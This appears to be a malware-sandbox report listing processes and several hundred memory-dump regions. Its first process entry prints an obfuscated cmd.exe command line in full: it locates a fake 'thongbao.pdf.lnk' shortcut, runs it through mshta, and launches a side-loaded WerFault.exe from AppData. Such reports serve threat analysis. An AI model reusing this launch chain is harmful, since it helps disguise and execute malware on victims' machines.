Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\cmd.exe
|
"C:\windows\System32\cmd.exe" $r$u$n$d$l$l$3$2
$S$he$ll$3$2$.dll $$S$h$e$l$l$E$x$e$c_R$un$D$L$L "cmd"
/c (( if not exist "thongbao.pdf.lnk" (f^o^r^fi^les /P C:\Users\user /S /M "thongbao.pdf.lnk" /C "cmd /c copy "@path" "C:\Users\user\IAMHERE.alf"")
else (copy "%CD%\thongbao.pdf.lnk" "C:\Users\user\IAMHERE.alf")) && m^s^h^t^a"."exe "C:\Users\user\IAMHERE.alf" && (if not
exist "C:\Users\user\AppData\Roaming\Lenovo\faultrep.dll" (timeout 5 && (if not exist "C:\Users\user\AppData\Roaming\Lenovo\faultrep.dll"
(exit) else (start /min "" "C:\Users\user\AppData\Roaming\Lenovo\WerFault.exe")))else (timeout 1 && start /min "" "C:\Users\user\AppData\Roaming\Lenovo\WerFault.exe")))
|
 |
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
|
|
|
C:\Windows\System32\forfiles.exe
|
forfiles /P C:\Users\user /S /M "thongbao.pdf.lnk" /C "cmd /c copy "@path" "C:\Users\user\IAMHERE.alf""
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
1951A59D000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A53B000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A56C000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A598000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A568000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A59B000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A564000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A572000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A57B000
|
heap
|
page read and write
|
||
|
1951A57C000
|
heap
|
page read and write
|
||
|
1951A59B000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A57C000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A597000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A574000
|
heap
|
page read and write
|
||
|
1951A556000
|
heap
|
page read and write
|
||
|
1951A549000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A56E000
|
heap
|
page read and write
|
||
|
1951A573000
|
heap
|
page read and write
|
||
|
1951A583000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A567000
|
heap
|
page read and write
|
||
|
1951A592000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A53B000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A554000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A597000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A574000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A572000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A547000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A557000
|
heap
|
page read and write
|
||
|
1951A591000
|
heap
|
page read and write
|
||
|
1951A568000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A573000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A583000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A59D000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1251CFC000
|
stack
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A54F000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A570000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A565000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A56C000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A4F0000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A572000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A564000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A568000
|
heap
|
page read and write
|
||
|
1951A57B000
|
heap
|
page read and write
|
||
|
1951A6F0000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A581000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A563000
|
heap
|
page read and write
|
||
|
1251DFF000
|
stack
|
page read and write
|
||
|
1951A561000
|
heap
|
page read and write
|
||
|
1951A59C000
|
heap
|
page read and write
|
||
|
1951A56C000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A7A5000
|
heap
|
page read and write
|
||
|
1951A57C000
|
heap
|
page read and write
|
||
|
1951A55E000
|
heap
|
page read and write
|
||
|
1951A57D000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A597000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A562000
|
heap
|
page read and write
|
||
|
1951A548000
|
heap
|
page read and write
|
||
|
1951A59D000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A578000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A594000
|
heap
|
page read and write
|
||
|
1951A550000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A59B000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A59C000
|
heap
|
page read and write
|
||
|
1951A57C000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A579000
|
heap
|
page read and write
|
||
|
1951A59B000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A57C000
|
heap
|
page read and write
|
||
|
1951A573000
|
heap
|
page read and write
|
||
|
1951A57A000
|
heap
|
page read and write
|
||
|
1951A56E000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A597000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A555000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A545000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A564000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A597000
|
heap
|
page read and write
|
||
|
1951A564000
|
heap
|
page read and write
|
||
|
1951A562000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A529000
|
heap
|
page read and write
|
||
|
1951A558000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A565000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1251D7F000
|
stack
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A59B000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A578000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A57D000
|
heap
|
page read and write
|
||
|
1951A562000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A520000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A568000
|
heap
|
page read and write
|
||
|
1951A597000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A56C000
|
heap
|
page read and write
|
||
|
1951A54B000
|
heap
|
page read and write
|
||
|
1951A55E000
|
heap
|
page read and write
|
||
|
1951A575000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A555000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A59C000
|
heap
|
page read and write
|
||
|
1951A541000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A577000
|
heap
|
page read and write
|
||
|
1951A500000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A549000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A562000
|
heap
|
page read and write
|
||
|
1951A570000
|
heap
|
page read and write
|
||
|
1951A7A0000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A57C000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A561000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A565000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A583000
|
heap
|
page read and write
|
||
|
1951A585000
|
heap
|
page read and write
|
||
|
1951A55E000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A556000
|
heap
|
page read and write
|
||
|
1951A590000
|
heap
|
page read and write
|
||
|
1951A56C000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A573000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A570000
|
heap
|
page read and write
|
||
|
1951A573000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A57A000
|
heap
|
page read and write
|
||
|
1951A572000
|
heap
|
page read and write
|
||
|
1951A596000
|
heap
|
page read and write
|
||
|
1951A5A3000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A550000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A54F000
|
heap
|
page read and write
|
||
|
1951A56D000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A571000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A53B000
|
heap
|
page read and write
|
||
|
1951A566000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A55D000
|
heap
|
page read and write
|
||
|
1951A561000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A57F000
|
heap
|
page read and write
|
||
|
1951A57D000
|
heap
|
page read and write
|
||
|
1951A57B000
|
heap
|
page read and write
|
||
|
1951A558000
|
heap
|
page read and write
|
||
|
1951A544000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A560000
|
heap
|
page read and write
|
||
|
1951A55C000
|
heap
|
page read and write
|
||
|
1951A56C000
|
heap
|
page read and write
|
||
|
1951A599000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A56B000
|
heap
|
page read and write
|
||
|
1951A556000
|
heap
|
page read and write
|
||
|
1951A549000
|
heap
|
page read and write
|
||
|
1951A56A000
|
heap
|
page read and write
|
||
|
1951A56F000
|
heap
|
page read and write
|
||
|
1951A568000
|
heap
|
page read and write
|
||
|
1951A593000
|
heap
|
page read and write
|
||
|
1951A58F000
|
heap
|
page read and write
|
||
|
1951A576000
|
heap
|
page read and write
|
||
|
1951A54A000
|
heap
|
page read and write
|
There are 316 hidden memdumps, click here to show them.